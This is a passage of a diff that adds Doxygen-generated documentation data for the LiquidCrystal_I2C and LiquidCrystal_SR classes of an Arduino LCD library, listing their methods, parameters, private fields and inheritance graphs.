to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1af11b8fa0082616e2b6e6e4238589d8a8'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a2eaf86f62d1f169b3763b03fbf88f70b'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '134'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adb997350478bdc0ab8eb5cc5623a2ad9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'config'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '172'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a459c4fa106fb7bac5940e3c6aea736af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a1d715dbf40f06b4c15004cd356b5a321'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '190'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a60111950cc0a47e6223c22949faa15f3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '182'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0bb3cc7ec414b373ef00e0cc6642ec88'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Addr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '193'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9d59c16cde5c3ffb30a881e9a61c9a32'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPinMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0eaa7c2ac1040a1786960618866c066e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightStsMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a3436246b17062357066c636aa598b49d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aa0a878e97b6111abf1bc8d767a548cf2'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_En'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adcc89f14c444ff086f544f33fc18ca4c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +I2CIO +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cio'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1ab70fc18e99a70e3293c4f6ba25c37efa'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rs'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '199'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a882df32eb9ae0e7a1b74f9a8ee4bffe9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rw'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '198'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + cp-fileline = '39'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 14; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 13; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '14'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 16; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 15; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '16'; + relation = public-inheritance; + }; /* node-child */ + node-child = { + child-id = '17'; + relation = usage; + edgelabel = <<_EnD_oF_dEf_TeXt_ +_i2cio +_EnD_oF_dEf_TeXt_; + }; /* node-child */ + }; /* node */ + node = { + node-id = 17; + node-label = 'I2CIO'; + node-link = { + node-link-id = 'class_i2_c_i_o'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r'; + cp-name = 'LiquidCrystal_SR'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1ac3fe0b48f8d4c1c941d82d1333495cfc'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +TWO_WIRE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '108'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD SHIFT REGISTER constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] pin for shiftregister data line. + @param srclock[in] pin for shiftregister clock line. + @param enable[in] optional direct enable pin for the LCD +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a03821351a32db07cb7e42c8c11ce8d47'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '122'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1ad9f3e3f36257984c23fb508973e14535'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a5bfc0dcc1f042bcb59992493a3a7231d'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '134'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + @warning Currently not supported + + @param mode: backlight mode (HIGH|LOW) + @param pol: backlight polarity +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a0f15bf3f5041a91469da5fd75aba5d5e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a2684630ad69618fab065f53eea543df8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'shiftIt'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '161'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1acee96e0ef397441bdde73ca921160476'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '163'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a68bffb6befc28cb716fb0c48b50f65fc'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '169'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a507726b30de4b552b4e32faf9a3aa9e3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '168'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a9984b207beddba9ff299f9356f891065'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '167'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a1e5bf3e5c6ec5b6c41f6949b6e34fd34'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '166'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a12e3ee583d454d5f52223beca91f5bae'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srEnableBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '171'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1adab0eb2bb7392a77375034530bf230eb'; + sec-mem-virt = normal; + 